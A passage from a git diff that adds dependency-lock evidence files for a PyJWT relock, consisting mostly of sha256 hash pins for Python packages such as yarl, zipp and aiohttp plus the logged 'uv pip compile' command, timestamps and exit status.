--hash=sha256:1f23fa283f51c890eda8e34e4937079114c74b4c81d2b2f1f1d94948f5cc3d7f \ + --hash=sha256:223db574bb38637e8230eb14b185565023ab624474df94d2af18f1cdb625216f \ + --hash=sha256:249f88ed15503f6492a71f01442abddd73856a0032ae860de6d75ca62eed8067 \ + --hash=sha256:24c2ed34dc222ed754247a2702b1e1e89fdbaa4016f324b4b8f1a802d4ffe87f \ + --hash=sha256:273a736c4645e63ac582c60a56b0acb529ef07f78e08dc6bfadf6a46b19c0da7 \ + --hash=sha256:281262213373b6d5e4bb4353bc36d1ba4084e6d6b5d242863721ef2bf2c2930b \ + --hash=sha256:30ce38e66630599e1193798285706903110d4f057aab3168a34b7fdc85569afc \ + --hash=sha256:33486899acd2d7d3066156b03465b949da3fd41a5da6e394ec49d271baefcf05 \ + --hash=sha256:343e44b2a8e60e06a7e0d29c1671a0d9951f59174f3709962b5143f60a2a98bd \ + --hash=sha256:373342dd05b1d07d752cecbec0c41817231f29f3a89aa8b8843f7b95992ed0c7 \ + --hash=sha256:3af60380ba0b7b5aeb329bc4e402acd25bd877e98b3727b0135cb5c2efdaefe9 \ + --hash=sha256:3e62d15d3cfa26e3d0788094de7b64efa75f3a53875cdbccdf78547aed547a81 \ + --hash=sha256:41b1d2bc74c2cac6f9074df52b2efbef2b30bdfe5f40cb78f8ca22963bc62977 \ + --hash=sha256:423ed5420ad5f5529db9ce89eac09c8a2f97da18eb1c870237e84c5a5c2d60aa \ + --hash=sha256:46acc57b331e0b3bcb3e1ca3b421d65637915cfcd65eb783cb2f78a511193f9b \ + --hash=sha256:4da9f45279fff3543c371d5ababc57a0384f70be244de7759c85a7f989cb4ebe \ + --hash=sha256:507553480670cab08a800b9463bdb881b2edeed77dc677b0a5915e6106e91a58 \ + --hash=sha256:53e5e39ff71b3fc484df8a522c933ea2b7cdd0d5d15ae82e5b23fde87d44cbd8 \ + --hash=sha256:54a30837587c6ee3cd1a4d1c2ec5d24e77984d44e2f34547e2323ddb4e22eb77 \ + --hash=sha256:5531d911795e3f935a9c23eb1c8c03c211661a5060aab167065896bbf62a5f85 \ + --hash=sha256:55cbbc356c2842f39bcc553cf695932e8b30e30e797f961860afb308e6b1bb7c \ + --hash=sha256:59923aa12d0157f6b82d686c3fd8e1166fa8cdfb3e17b42ce3b6147ff81528df \ + --hash=sha256:5a03a38adec8066d5a37bea22f2ba6bbf39fcdefbe2d91419ab864c3fb515454 \ + --hash=sha256:5a7b3c1ee8265eb4c8f1b7d29943f195c00673f5ab60c192eba2d4a7eae5f46a \ + --hash=sha256:5d4478d72eb61c36e5b446e375bbc49ed002430d17cdec3cecb36993398e1a9e \ + --hash=sha256:5ea5eb3c0c071862997d6f3e02af1d055f381b1d25b286b9d6644b79db77657c \ + --hash=sha256:604d076c55e2fdd4c1c03d06dc1a31b95130010517b5019db15365ec4a405fc6 \ + --hash=sha256:656873859b3b50eeebe6db8b1455e99d90c26ab058db8e427046dbc35c3140a5 \ + --hash=sha256:65d1d00fbfb3ea5f20add88bbc0f815150dbbde3b026e6c24759466c8b5a9ef9 \ + --hash=sha256:6b538e31eca1a7ea4605e44f81a48aa24c4632a277431a6ed3f328835901f4fd \ + --hash=sha256:6fd1ad24dc235e4ab88cda009e19bf347aabb975e44fd5c2fb22a3f6e4141277 \ + --hash=sha256:70d86fa5197b8947a2fa70260b48e400bf2ccacdcab97bb7de47e3d1e6312225 \ + --hash=sha256:7171ae35d2c33d326ac19dd8facb1e82e5fd04ef8c6c0e394d7af55a55051c22 \ + --hash=sha256:73d496de46cd2cdbdbcce4ae4bcdb4afb6a11234a1df9c085249d55166b95116 \ + --hash=sha256:7425ac3c54430f5fc5e7b6f41d41e704db073309acfc09305816bc6a0b26bb16 \ + --hash=sha256:74afa28374a3c3a11b3b5e5fca0ae03bef8450d6aa3ab3a1e2c30e3a75d023dc \ + --hash=sha256:758895b01d546812d1f42204bd443b8c433c44d090248bf22689df673ccafe00 \ + --hash=sha256:79573c24a46ce11aab457b472efd8d125e5a51da2d1d24387666cd85f54c05b2 \ + --hash=sha256:7e18f01b0c3e4a07fe6dfdb00e29049ba17eadbc5e7609a2a3a4af83ab7d710a \ + --hash=sha256:88547535b787a6c9ce4086917b6e1d291aa8ed914fdd3a838b3539dc95c12804 \ + --hash=sha256:88bbae4d40d5a46142e70d58bf664a89b6b4befaea7b2ecc14e03cedb8e06c04 \ + --hash=sha256:8cccf4f81371f257440c88faed6b74f1053eef90807b77e31ca057b2db74edb1 \ + --hash=sha256:9baa544e6acc91130e926e8c802a17f3b16fbea0fd441b5a60f5cf2cc5c3deba \ + --hash=sha256:a36692b8491d30a8c75f1dfee65bef119d6f39ea84ee04d9f9311f83c5ad9390 \ + --hash=sha256:a47681378a0439215912ef542c45a783484d4dd82bac412b71e59cf9c0e1cea0 \ + --hash=sha256:a7c06742645f914f26c7f1fa47b8bc4c91d222f76ee20116c43d5ef0912bba2d \ + --hash=sha256:a9a2203361a6e6404f80b99234fe7fb37d1fc73487b5a78dc1aa5b97201e0f22 \ + --hash=sha256:ab232e7fdb44cdfbf55fc3afa31bcdb0d8980b9b95c38b6405df2acb672af0e0 \ + --hash=sha256:ad85e269fe54d506b240d2d7b9f5f2057c2aa9a2ea5b32c66f8902f768117ed2 \ + --hash=sha256:af338aa93554be859173c39c85243970dc6a289fa907402289eeae7543e1ae18 \ + --hash=sha256:afd964fd43b10c12213574db492cb8f73b2f0826c8df07a68288f8f19af2ebe6 \ + --hash=sha256:b32888aad8b6e68f83a8fdccbf3165f5469702a7544472bdf41f582970ed3311 \ + --hash=sha256:c31eebe420a9a5d2887b13000b043ff6ca27c452a9a22fa71f35f118e8d4bf89 \ + --hash=sha256:caea3e9c79d5f0d2c6d9ab96111601797ea5da8e6d0723f77eabb0d4068d2b2f \ + --hash=sha256:cf30f6e3c077c8e6a9a7809c94551203c8843e74ba0c960f4a98cd80d4665d39 \ + --hash=sha256:d40770d7c0fd5cbed9d84b2c3f2e156431a12c9a37dc6284060fb4bec0b7ffd4 \ + --hash=sha256:d8a210b158a34164de8bb68b0e7780041a903d7b00c87e906fb69928bf7890d5 \ + --hash=sha256:dc4a8d2b25efb6681ecacad42fca8859f88092d8732b170de6a5dddd80a1c8fa \ + --hash=sha256:df7d30371a2accfe4013e90445f6388c570f103d61019b6b7c57e0265250072a \ + --hash=sha256:e01375f275f010fcbf7f643b4279896d04e571889b8a5b3f848423d91bf07050 \ + --hash=sha256:e1a4120ae5705f673727d3253de3ed0e016f7cd78dc463db1b31e2463e1f3cf6 \ + --hash=sha256:e228514a06843cae89621384cfe3a80418f3c04aadf8a3b14e46a7be704e4235 \ + --hash=sha256:e405adefb53a435f01efa7ccdec012c016b5a1d3f35459990afc39b6be4d5056 \ + --hash=sha256:e6b13af258d6a9ad602d57d889f83b9d5543acd471eee12eb51f5b01f8eb1bc2 \ + --hash=sha256:e6f40a8aa5a92f150bdb3e1c44b7e98fb7113955b2e5394122fa5532fec4b418 \ + --hash=sha256:e71d5c6ebac14875668a1e90baf2ea0ef5b7ac7918355850c0908ae82bcb297c \ + --hash=sha256:ed7c635ae45cfbc1a7371f708727bf74690daedc49b4dba310590ca0bd28aa8a \ + --hash=sha256:f38e60678850c42461d4202739f9bf1e3a737c7ad283638251e79cc49effb6b6 \ + --hash=sha256:f66eb08feaa410fe4eebd17f2a2c8e2e46d3476e9f8c783daa8e09e0faa666d0 \ + --hash=sha256:f9b2601381be482f70e5d1051a5965c25fb3625455a2bf520b5a077b22afb775 \ + --hash=sha256:fbd3c8319de8e1dc79d346929cd71d523622da527cca14e0c1d257e31c2b8b10 \ + --hash=sha256:fd341868a4b6714a5962c1af0bd44f7c404ef78720c7de4892901e540417111c +yarl==1.22.0 \ + --hash=sha256:01e73b85a5434f89fc4fe27dcda2aff08ddf35e4d47bbbea3bdcd25321af538a \ + --hash=sha256:029866bde8d7b0878b9c160e72305bbf0a7342bcd20b9999381704ae03308dc8 \ + --hash=sha256:078278b9b0b11568937d9509b589ee83ef98ed6d561dfe2020e24a9fd08eaa2b \ + --hash=sha256:078a8aefd263f4d4f923a9677b942b445a2be970ca24548a8102689a3a8ab8da \ + --hash=sha256:07a524d84df0c10f41e3ee918846e1974aba4ec017f990dc735aad487a0bdfdf \ + --hash=sha256:088e4e08f033db4be2ccd1f34cf29fe994772fb54cfe004bbf54db320af56890 \ + --hash=sha256:0b5bcc1a9c4839e7e30b7b30dd47fe5e7e44fb7054ec29b5bb8d526aa1041093 \ + --hash=sha256:0cf71bf877efeac18b38d3930594c0948c82b64547c1cf420ba48722fe5509f6 \ + --hash=sha256:0d6e6885777af0f110b0e5d7e5dda8b704efed3894da26220b7f3d887b839a79 \ + --hash=sha256:0dd9a702591ca2e543631c2a017e4a547e38a5c0f29eece37d9097e04a7ac683 \ + --hash=sha256:10619d9fdee46d20edc49d3479e2f8269d0779f1b031e6f7c2aa1c76be04b7ed \ + --hash=sha256:131a085a53bfe839a477c0845acf21efc77457ba2bcf5899618136d64f3303a2 \ + --hash=sha256:1380560bdba02b6b6c90de54133c81c9f2a453dee9912fe58c1dcced1edb7cff \ + --hash=sha256:139718f35149ff544caba20fce6e8a2f71f1e39b92c700d8438a0b1d2a631a02 \ + --hash=sha256:14291620375b1060613f4aab9ebf21850058b6b1b438f386cc814813d901c60b \ + --hash=sha256:1834bb90991cc2999f10f97f5f01317f99b143284766d197e43cd5b45eb18d03 \ + --hash=sha256:1ab72135b1f2db3fed3997d7e7dc1b80573c67138023852b6efb336a5eae6511 \ + --hash=sha256:1e7ce67c34138a058fd092f67d07a72b8e31ff0c9236e751957465a24b28910c \ + --hash=sha256:1e8fbaa7cec507aa24ea27a01456e8dd4b6fab829059b69844bd348f2d467124 \ + --hash=sha256:22965c2af250d20c873cdbee8ff958fb809940aeb2e74ba5f20aaf6b7ac8c70c \ + --hash=sha256:22b029f2881599e2f1b06f8f1db2ee63bd309e2293ba2d566e008ba12778b8da \ + --hash=sha256:243dda95d901c733f5b59214d28b0120893d91777cb8aa043e6ef059d3cddfe2 \ + --hash=sha256:2ca6fd72a8cd803be290d42f2dec5cdcd5299eeb93c2d929bf060ad9efaf5de0 \ + --hash=sha256:2e4e1f6f0b4da23e61188676e3ed027ef0baa833a2e633c29ff8530800edccba \ + --hash=sha256:31f0b53913220599446872d757257be5898019c85e7971599065bc55065dc99d \ + --hash=sha256:334b8721303e61b00019474cc103bdac3d7b1f65e91f0bfedeec2d56dfe74b53 \ + --hash=sha256:33e32a0dd0c8205efa8e83d04fc9f19313772b78522d1bdc7d9aed706bfd6138 \ + --hash=sha256:34b36c2c57124530884d89d50ed2c1478697ad7473efd59cfd479945c95650e4 \ + --hash=sha256:3aa27acb6de7a23785d81557577491f6c38a5209a254d1191519d07d8fe51748 \ + --hash=sha256:3b06bcadaac49c70f4c88af4ffcfbe3dc155aab3163e75777818092478bcbbe7 \ + --hash=sha256:3b7c88eeef021579d600e50363e0b6ee4f7f6f728cd3486b9d0f3ee7b946398d \ + --hash=sha256:3e2daa88dc91870215961e96a039ec73e4937da13cf77ce17f9cad0c18df3503 \ + --hash=sha256:3ea66b1c11c9150f1372f69afb6b8116f2dd7286f38e14ea71a44eee9ec51b9d \ + --hash=sha256:42188e6a615c1a75bcaa6e150c3fe8f3e8680471a6b10150c5f7e83f47cc34d2 \ + --hash=sha256:433885ab5431bc3d3d4f2f9bd15bfa1614c522b0f1405d62c4f926ccd69d04fa \ + --hash=sha256:437840083abe022c978470b942ff832c3940b2ad3734d424b7eaffcd07f76737 \ + --hash=sha256:4398557cbf484207df000309235979c79c4356518fd5c99158c7d38203c4da4f \ + --hash=sha256:45c2842ff0e0d1b35a6bf1cd6c690939dacb617a70827f715232b2e0494d55d1 \ + --hash=sha256:47743b82b76d89a1d20b83e60d5c20314cbd5ba2befc9cda8f28300c4a08ed4d \ + --hash=sha256:4792b262d585ff0dff6bcb787f8492e40698443ec982a3568c2096433660c694 \ + --hash=sha256:47d8a5c446df1c4db9d21b49619ffdba90e77c89ec6e283f453856c74b50b9e3 \ + --hash=sha256:47fdb18187e2a4e18fda2c25c05d8251a9e4a521edaed757fef033e7d8498d9a \ + --hash=sha256:4c52a6e78aef5cf47a98ef8e934755abf53953379b7d53e68b15ff4420e6683d \ + --hash=sha256:4dcc74149ccc8bba31ce1944acee24813e93cfdee2acda3c172df844948ddf7b \ + --hash=sha256:50678a3b71c751d58d7908edc96d332af328839eea883bb554a43f539101277a \ + --hash=sha256:51af598701f5299012b8416486b40fceef8c26fc87dc6d7d1f6fc30609ea0aa6 \ + --hash=sha256:594fcab1032e2d2cc3321bb2e51271e7cd2b516c7d9aee780ece81b07ff8244b \ + --hash=sha256:595697f68bd1f0c1c159fcb97b661fc9c3f5db46498043555d04805430e79bea \ + --hash=sha256:59c189e3e99a59cf8d83cbb31d4db02d66cda5a1a4374e8a012b51255341abf5 \ + --hash=sha256:5a3bf7f62a289fa90f1990422dc8dff5a458469ea71d1624585ec3a4c8d6960f \ + --hash=sha256:5c401e05ad47a75869c3ab3e35137f8468b846770587e70d71e11de797d113df \ + --hash=sha256:5cdac20da754f3a723cceea5b3448e1a2074866406adeb4ef35b469d089adb8f \ + --hash=sha256:5d0fcda9608875f7d052eff120c7a5da474a6796fe4d83e152e0e4d42f6d1a9b \ + --hash=sha256:5dbeefd6ca588b33576a01b0ad58aa934bc1b41ef89dee505bf2932b22ddffba \ + --hash=sha256:62441e55958977b8167b2709c164c91a6363e25da322d87ae6dd9c6019ceecf9 \ + --hash=sha256:663e1cadaddae26be034a6ab6072449a8426ddb03d500f43daf952b74553bba0 \ + --hash=sha256:669930400e375570189492dc8d8341301578e8493aec04aebc20d4717f899dd6 \ + --hash=sha256:68986a61557d37bb90d3051a45b91fa3d5c516d177dfc6dd6f2f436a07ff2b6b \ + --hash=sha256:6944b2dc72c4d7f7052683487e3677456050ff77fcf5e6204e98caf785ad1967 \ + --hash=sha256:6a635ea45ba4ea8238463b4f7d0e721bad669f80878b7bfd1f89266e2ae63da2 \ + --hash=sha256:6c5010a52015e7c70f86eb967db0f37f3c8bd503a695a49f8d45700144667708 \ + --hash=sha256:6dcbb0829c671f305be48a7227918cfcd11276c2d637a8033a99a02b67bf9eda \ + --hash=sha256:70dfd4f241c04bd9239d53b17f11e6ab672b9f1420364af63e8531198e3f5fe8 \ + --hash=sha256:719ae08b6972befcba4310e49edb1161a88cdd331e3a694b84466bd938a6ab10 \ + --hash=sha256:75976c6945d85dbb9ee6308cd7ff7b1fb9409380c82d6119bd778d8fcfe2931c \ + --hash=sha256:7861058d0582b847bc4e3a4a4c46828a410bca738673f35a29ba3ca5db0b473b \ + --hash=sha256:792a2af6d58177ef7c19cbf0097aba92ca1b9cb3ffdd9c7470e156c8f9b5e028 \ + --hash=sha256:8009b3173bcd637be650922ac455946197d858b3630b6d8787aa9e5c4564533e \ + --hash=sha256:80ddf7a5f8c86cb3eb4bc9028b07bbbf1f08a96c5c0bc1244be5e8fefcb94147 \ + --hash=sha256:8218f4e98d3c10d683584cb40f0424f4b9fd6e95610232dd75e13743b070ee33 \ + --hash=sha256:84fc3ec96fce86ce5aa305eb4aa9358279d1aa644b71fab7b8ed33fe3ba1a7ca \ + --hash=sha256:852863707010316c973162e703bddabec35e8757e67fcb8ad58829de1ebc8590 \ + --hash=sha256:8884d8b332a5e9b88e23f60bb166890009429391864c685e17bd73a9eda9105c \ + --hash=sha256:8dee9c25c74997f6a750cd317b8ca63545169c098faee42c84aa5e506c819b53 \ + --hash=sha256:939fe60db294c786f6b7c2d2e121576628468f65453d86b0fe36cb52f987bd74 \ + --hash=sha256:99b6fc1d55782461b78221e95fc357b47ad98b041e8e20f47c1411d0aacddc60 \ + --hash=sha256:9d7672ecf7557476642c88497c2f8d8542f8e36596e928e9bcba0e42e1e7d71f \ + --hash=sha256:9f6d73c1436b934e3f01df1e1b21ff765cd1d28c77dfb9ace207f746d4610ee1 \ + --hash=sha256:9fb17ea16e972c63d25d4a97f016d235c78dd2344820eb35bc034bc32012ee27 \ + --hash=sha256:a49370e8f711daec68d09b821a34e1167792ee2d24d405cbc2387be4f158b520 \ + --hash=sha256:a4fcfc8eb2c34148c118dfa02e6427ca278bfd0f3df7c5f99e33d2c0e81eae3e \ + --hash=sha256:a899cbd98dce6f5d8de1aad31cb712ec0a530abc0a86bd6edaa47c1090138467 \ + --hash=sha256:a9b1ba5610a4e20f655258d5a1fdc7ebe3d837bb0e45b581398b99eb98b1f5ca \ + --hash=sha256:af74f05666a5e531289cb1cc9c883d1de2088b8e5b4de48004e5ca8a830ac859 \ + --hash=sha256:b0748275abb8c1e1e09301ee3cf90c8a99678a4e92e4373705f2a2570d581273 \ + --hash=sha256:b266bd01fedeffeeac01a79ae181719ff848a5a13ce10075adbefc8f1daee70e \ + --hash=sha256:b4f15793aa49793ec8d1c708ab7f9eded1aa72edc5174cae703651555ed1b601 \ + --hash=sha256:b580e71cac3f8113d3135888770903eaf2f507e9421e5697d6ee6d8cd1c7f054 \ + --hash=sha256:b6a6f620cfe13ccec221fa312139135166e47ae169f8253f72a0abc0dae94376 \ + --hash=sha256:b790b39c7e9a4192dc2e201a282109ed2985a1ddbd5ac08dc56d0e121400a8f7 \ + --hash=sha256:b85b982afde6df99ecc996990d4ad7ccbdbb70e2a4ba4de0aecde5922ba98a0b \ + --hash=sha256:b8a0588521a26bf92a57a1705b77b8b59044cdceccac7151bd8d229e66b8dedb \ + --hash=sha256:ba440ae430c00eee41509353628600212112cd5018d5def7e9b05ea7ac34eb65 \ + --hash=sha256:bca03b91c323036913993ff5c738d0842fc9c60c4648e5c8d98331526df89784 \ + --hash=sha256:bebf8557577d4401ba8bd9ff33906f1376c877aa78d1fe216ad01b4d6745af71 \ + --hash=sha256:bec03d0d388060058f5d291a813f21c011041938a441c593374da6077fe21b1b \ + --hash=sha256:bf4a21e58b9cde0e401e683ebd00f6ed30a06d14e93f7c8fd059f8b6e8f87b6a \ + --hash=sha256:c0232bce2170103ec23c454e54a57008a9a72b5d1c3105dc2496750da8cfa47c \ + --hash=sha256:c4647674b6150d2cae088fc07de2738a84b8bcedebef29802cf0b0a82ab6face \ + --hash=sha256:c7044802eec4524fde550afc28edda0dd5784c4c45f0be151a2d3ba017daca7d \ + --hash=sha256:c7bd6683587567e5a49ee6e336e0612bec8329be1b7d4c8af5687dcdeb67ee1e \ + --hash=sha256:ca1f59c4e1ab6e72f0a23c13fca5430f889634166be85dbf1013683e49e3278e \ + --hash=sha256:cb95a9b1adaa48e41815a55ae740cfda005758104049a640a398120bf02515ca \ + --hash=sha256:cfebc0ac8333520d2d0423cbbe43ae43c8838862ddb898f5ca68565e395516e9 \ + --hash=sha256:d332fc2e3c94dad927f2112395772a4e4fedbcf8f80efc21ed7cdfae4d574fdb \ + --hash=sha256:d3e32536234a95f513bd374e93d717cf6b2231a791758de6c509e3653f234c95 \ + --hash=sha256:d5372ca1df0f91a86b047d1277c2aaf1edb32d78bbcefffc81b40ffd18f027ed \ + --hash=sha256:d77e1b2c6d04711478cb1c4ab90db07f1609ccf06a287d5607fcd90dc9863acf \ + --hash=sha256:d947071e6ebcf2e2bee8fce76e10faca8f7a14808ca36a910263acaacef08eca \ + --hash=sha256:dd7afd3f8b0bfb4e0d9fc3c31bfe8a4ec7debe124cfd90619305def3c8ca8cd2 \ + --hash=sha256:de6b9a04c606978fdfe72666fa216ffcf2d1a9f6a381058d4378f8d7b1e5de62 \ + --hash=sha256:e1651bf8e0398574646744c1885a41198eba53dc8a9312b954073f845c90a8df \ + --hash=sha256:e1b329cb8146d7b736677a2440e422eadd775d1806a81db2d4cded80a48efc1a \ + --hash=sha256:e1b51bebd221006d3d2f95fbe124b22b247136647ae5dcc8c7acafba66e5ee67 \ + --hash=sha256:e340382d1afa5d32b892b3ff062436d592ec3d692aeea3bef3a5cfe11bbf8c6f \ + --hash=sha256:e4b582bab49ac33c8deb97e058cd67c2c50dac0dd134874106d9c774fd272529 \ + --hash=sha256:e51ac5435758ba97ad69617e13233da53908beccc6cfcd6c34bbed8dcbede486 \ + --hash=sha256:e5542339dcf2747135c5c85f68680353d5cb9ffd741c0f2e8d832d054d41f35a \ + --hash=sha256:e6438cc8f23a9c1478633d216b16104a586b9761db62bfacb6425bac0a36679e \ + --hash=sha256:e81fda2fb4a07eda1a2252b216aa0df23ebcd4d584894e9612e80999a78fd95b \ + --hash=sha256:ea70f61a47f3cc93bdf8b2f368ed359ef02a01ca6393916bc8ff877427181e74 \ + --hash=sha256:ebd4549b108d732dba1d4ace67614b9545b21ece30937a63a65dd34efa19732d \ + --hash=sha256:efb07073be061c8f79d03d04139a80ba33cbd390ca8f0297aae9cce6411e4c6b \ + --hash=sha256:f0d97c18dfd9a9af4490631905a3f131a8e4c9e80a39353919e2cfed8f00aedc \ + --hash=sha256:f1e09112a2c31ffe8d80be1b0988fa6a18c5d5cad92a9ffbb1c04c91bfe52ad2 \ + --hash=sha256:f3d7a87a78d46a2e3d5b72587ac14b4c16952dd0887dbb051451eceac774411e \ + --hash=sha256:f4afb5c34f2c6fecdcc182dfcfc6af6cccf1aa923eed4d6a12e9d96904e1a0d8 \ + --hash=sha256:f6d2cb59377d99718913ad9a151030d6f83ef420a2b8f521d94609ecc106ee82 \ + --hash=sha256:f87ac53513d22240c7d59203f25cc3beac1e574c6cd681bbfd321987b69f95fd \ + --hash=sha256:ff86011bd159a9d2dfc89c34cfd8aff12875980e3bd6a39ff097887520e60249 +zipp==3.23.0 \ + --hash=sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e \ + --hash=sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166 + +stderr: +Resolved 176 packages in 22ms diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pyjwt-candidate-compile.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pyjwt-candidate-compile.txt new file mode 100644 index 000000000..874167127 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pyjwt-candidate-compile.txt @@ -0,0 +1,3064 @@ +argv: ["rtk", "proxy", "uv", "pip", "compile", "/requirements.in", "--constraints", "/constraints.txt", "--generate-hashes", "--no-header", "--no-annotate", "--index-url", "https://pypi.org/simple", "--python-version", "3.13.15", "--python-platform", "x86_64-unknown-linux-gnu", "--exclude-newer", "7 days", "--exclude-newer-package", "litellm=2026-07-20T00:00:00Z", "--exclude-newer-package", "lmnr=2026-08-23T00:00:00Z", "--output-file", "/candidate.lock"] +cwd: /source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5 +started_utc: 2026-09-30T17:02:27.447375+00:00 +ended_utc: 2026-09-30T17:02:27.510957+00:00 +exit_code: 0 + +stdout: +agent-client-protocol==0.12.1 \ + --hash=sha256:9963ccb590ed96d7dc542c9c023e90676fc76b1c6562e21a9ee112f4fbcb0095 \ + --hash=sha256:aaf3cc301ed87d9e2c4ccb91adfe1cd58784355f6ce7e513f50e7ca2391862ef +aiofile==3.9.0 \ + --hash=sha256:ce2f6c1571538cbdfa0143b04e16b208ecb0e9cb4148e528af8a640ed51cc8aa \ + --hash=sha256:e5ad718bb148b265b6df1b3752c4d1d83024b93da9bd599df74b9d9ffcf7919b +aiofiles==25.1.0 \ + --hash=sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2 \ + --hash=sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695 +aiohappyeyeballs==2.6.1 \ + --hash=sha256:c3f9d0113123803ccadfdf3f0faa505bc78e6a72d1cc4806cbd719826e943558 \ + --hash=sha256:f349ba8f4b75cb25c99c5c2d84e997e485204d2902a9597802b0371f09331fb8 +aiohttp==3.14.3 \ + --hash=sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39 \ + --hash=sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043 \ + --hash=sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b \ + --hash=sha256:0fdea2281997af69da84c77ffa6f5938a0285f21fb3887c249d67419ca865b3d \ + --hash=sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a962aebf \ + --hash=sha256:134ac5ddcf61c6fad984b9a5727d83492ada43d63471db20fb73042c13fca62f \ + --hash=sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7 \ + --hash=sha256:1576145bdceeb92382d899751e12743a3a5b8e460a841e3e50543859e54864dc \ + --hash=sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559 \ + --hash=sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f \ + --hash=sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929 \ + --hash=sha256:18cb43369747b2ae007bd2655fb8e63a099c2ff1d207962943636dac989b3147 \ + --hash=sha256:1b59533861b70a2185c8f4f350f791f39d64358ef6944ce71c5240c9ec0982c9 \ + --hash=sha256:1c5281acc88b92396f88c7e1e2748f8466689df22b80170e4f51efa712fb47a8 \ + --hash=sha256:1c5ec8fb1bcc31a8466f74aaf26c345d5c386fa4bd08a3f0eb9c7a4a3fe8b5bf \ + --hash=sha256:1caa7b0d05f3e3a36f87788c59e970a7ee1cefcfcbb924a9f138c4a6551c9cb7 \ + --hash=sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8 \ + --hash=sha256:2498f0fe69ead802f9675beca44a7c21c62fdaa4ec5145ea1c3ad6edbee29f85 \ + --hash=sha256:25bd2708db6bdf6a6630dd37bdcdfcb47c4434d22ac69c64665b802910140b30 \ + --hash=sha256:270d3dace9ca2f10f0da5d8ebe519b7a310fc6112ed916e32df5866df0888553 \ + --hash=sha256:2e1161602f45a54de2ce0905243a95f58cb42dcd378402f3697f5e0b21e9d2e7 \ + --hash=sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e78fa90ef86 \ + --hash=sha256:30402d03a7c0ff52bce290b57e564e9079fd9d0cb545c8aba73f86a103162d2e \ + --hash=sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a \ + --hash=sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c \ + --hash=sha256:38901a84da3ce22249f6e860bf8f90d141bcab7da090cc398f8bb58c0e44b7da \ + --hash=sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5 \ + --hash=sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d \ + --hash=sha256:3ae5b3a59436d089b5395d910121a390feed4d00578eb95a0fd1a329fe963100 \ + --hash=sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87be458eef71 \ + --hash=sha256:3f42e9b78301f11c8f861746175d8b9c1ccef713fcad9eab396e2f6db8ed4a22 \ + --hash=sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c377569c5fcc1e1 \ + --hash=sha256:48d67b87db6279c044760787eb01f6413032c2e6f3ba1cafaa492b1c8e578479 \ + --hash=sha256:498c6c623134f8e09a3c4e60bcd607a0b4590dd7dbf08dd40851b27cbb520ccb \ + --hash=sha256:49f7325beb0f85ef4aef5f48f490269575f83e6e2acad00a1d80b807eb027062 \ + --hash=sha256:4e3ac92d90e92773b2362d506068e9a948192bd553e743c5b2429e28527c8661 \ + --hash=sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427 \ + --hash=sha256:5373dc80ad1aa2fb9ad95c83f24eef418bbda3a61375f128e5b0192e4f3f9b32 \ + --hash=sha256:53e5179d8abb5710f8e83ba207c41c8d1261fcffd4616500e15ca2b7a33be10a \ + --hash=sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db \ + --hash=sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42 \ + --hash=sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a \ + --hash=sha256:55bdcc472aafe2de4a253045cc128007a64f1e0264fb675791e132ea5edaa3bd \ + --hash=sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06 \ + --hash=sha256:5895ef58c4620afe02fa16044f023dc4dafec08158f9d08874a46a7dbc0341b8 \ + --hash=sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228 \ + --hash=sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0 \ + --hash=sha256:614c61d478b83953e261d02bb2df750f17227cd33ef8002945bf5aebbde21919 \ + --hash=sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee \ + --hash=sha256:6debfa7312ff9d4c124dc71d72e9a0a4b9e0879e48ba6fcb42bef5c3300289e2 \ + --hash=sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f \ + --hash=sha256:70c987b27534f9ae1a723f47ae921571d616da21d3208282bf4c52af5164ac43 \ + --hash=sha256:74ab5b6a9fb13e873e5a90946588baecaf488745e1db1a4a5c433f971f035098 \ + --hash=sha256:78253b573e6ffab5028924fc98bc281aae05445969982a10864bc360dea2016c \ + --hash=sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171ffeedd1371 \ + 